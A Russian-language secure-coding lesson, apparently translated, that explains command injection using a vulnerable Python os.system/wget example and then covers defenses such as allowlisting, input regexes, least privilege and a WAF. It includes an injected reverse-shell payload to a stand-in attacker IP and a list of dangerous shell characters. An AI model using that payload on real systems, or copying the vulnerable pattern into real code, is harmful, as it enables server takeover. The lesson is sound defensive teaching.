Когда злоумышленники могут выполнить свой код на вашем компьютере
Уязвимости удаленного выполнения кода - это класс уязвимостей, которые возникают, когда злоумышленники могут выполнить свой код на вашем компьютере. Один из способов, которым это может произойти, - уязвимости, связанные с внедрением команд. Это тип удаленного выполнения кода, который происходит, когда ввод пользователя объединяется непосредственно в системную команду.
Допустим, на вашем сайте есть функция, позволяющая пользователям загружать удаленный файл и просматривать его на вашем сайте. Для достижения этой функциональности ваше приложение использует системную команду wget
для загрузки удаленного файла.
Вот как выглядит ваш исходный код на Python. Функция os.system()
Python выполняет свою входную строку как системную команду.
import os def download(url): os.system(“wget -O- {}”.format(url)) display(download(user_input.url))
Wget - это инструмент, который загружает веб-страницы по URL-адресу, а опция -O-
заставляет Wget загружать файл и отображать его в стандартном выводе. Таким образом, эта программа берет URL-адрес из пользовательского ввода и передает его команде Wget, выполняемой с использованием os.system()
. Например, если вы отправите этот запрос, приложение загрузит исходный код главной страницы Google и отобразит его вам.
GET /download?url=google.com Host: example.com
В этом случае системная команда принимает следующий вид:
wget -O- google.com
В командной строке Linux точка с запятой «;» символ может использоваться для разделения отдельных команд. Злоумышленник может выполнять произвольные команды после команды Wget, отправляя любую команду после точки с запятой «;» персонаж! Этот ввод заставит приложение порождать обратную оболочку обратно на IP-адрес злоумышленника на порту 8080.
GET /download?url=”google.com;bash -i >& /dev/tcp/attacker_ip/8080 0>&1" Host: example.com
В этом случае системная команда принимает следующий вид:
wget -O- google.com;bash -i >& /dev/tcp/attacker_ip/8080 0>&1
Обратная оболочка заставляет целевой сервер связываться с машиной злоумышленника и устанавливает удаленно доступный пользовательский интерфейс, который позволяет злоумышленнику выполнять любые системные команды.
Предотвращение инъекции команд
Как видите, инъекции команд могут привести к полной компрометации вашего приложения и учетной записи пользователя, на которой запущен веб-сервер. Как предотвратить эти опасные уязвимости?
Во-первых, вы можете предотвратить инъекции команд, не выполняя системные команды с использованием вводимых пользователем данных. Если вам нужно использовать пользовательский ввод в системной команде, избегайте прямого вызова команд ОС. Вместо этого вы можете попробовать использовать встроенные библиотечные функции, которые служат той же цели. Например, вместо использования os.system(“mkdir /dir_name”)
вы можете использовать os.mkdir(“/dir_name”)
в библиотеке ОС Python. А поскольку пользовательский ввод может быть передан в оцениваемый код через файлы, анализируемые приложением, вы должны рассматривать загруженные пользователем файлы как ненадежные и защищать целостность существующих системных файлов, которые выполняются, анализируются или включаются программами.
В качестве альтернативы вы можете реализовать строгую проверку ввода для ввода, передаваемого в команды. Лучший способ сделать это - добавить в белый список. Вы можете добавить строки или разрешенные символы в белый список. Например, если вы хотите, чтобы пользователи могли выполнять произвольные команды, вы можете занести в белый список команды, которые разрешено запускать пользователям, такие как ls
и pwd
, и разрешить только эти входные строки.
Когда это невозможно, вы можете вместо этого занести разрешенные символы в белый список. Например, это регулярное выражение допускает только строчные буквы и цифры и не допускает никаких специальных символов, которые могут использоваться для управления логикой команды. Длина входной строки также ограничена 1–10 символами.
^[a-z0–9]{1,10}$
Наконец, вместо этого вы также можете использовать escape-значения, вставленные в команды ОС. Например, некоторые опасные символы, которых следует избегать, включают:
& | ; $ > < ` \ !
Но обычно это менее эффективно, потому что злоумышленники постоянно придумывают изобретательные методы, чтобы обойти проверку ввода на основе черного списка.
Если все остальное терпит неудачу и злоумышленник действительно внедряет команду на вашу машину, как вы можете минимизировать вред, который они могут причинить? Выполнение произвольных команд в системе означает почти полный доступ к разрешениям этого приложения. Поэтому, если вы ограничите то, что ваши приложения могут делать в вашей системе, простая инъекция команды с использованием этого приложения не сможет нанести серьезный вред вашей системе.
«Принцип наименьших привилегий» гласит, что приложениям и процессам следует предоставлять только те привилегии, которые необходимы для выполнения их задач. Это лучшая практика, которая снижает риск компрометации системы во время атаки, поскольку злоумышленники не получат доступа к конфиденциальным файлам и операциям, даже если они скомпрометируют пользователя или процесс с низкими привилегиями. Например, когда веб-приложению требуется доступ только для чтения к файлу, ему не должны предоставляться разрешения на запись или выполнение. Потому что, если злоумышленник захватывает приложение, работающее с высокими привилегиями, злоумышленник может получить его разрешения. В этом случае вы должны ограничить привилегии пользователя, запускающего веб-сервер, чтобы злоумышленники не могли использовать его для компрометации всей системы.
Наконец, вы должны быть в курсе обновлений, чтобы предотвратить появление уязвимостей, связанных с внедрением команд, в зависимости вашего приложения. Вы также можете развернуть брандмауэр веб-приложений (WAF), чтобы блокировать подозрительные атаки.
На этом урок по безопасности сегодня закончен! Увидимся в следующий раз!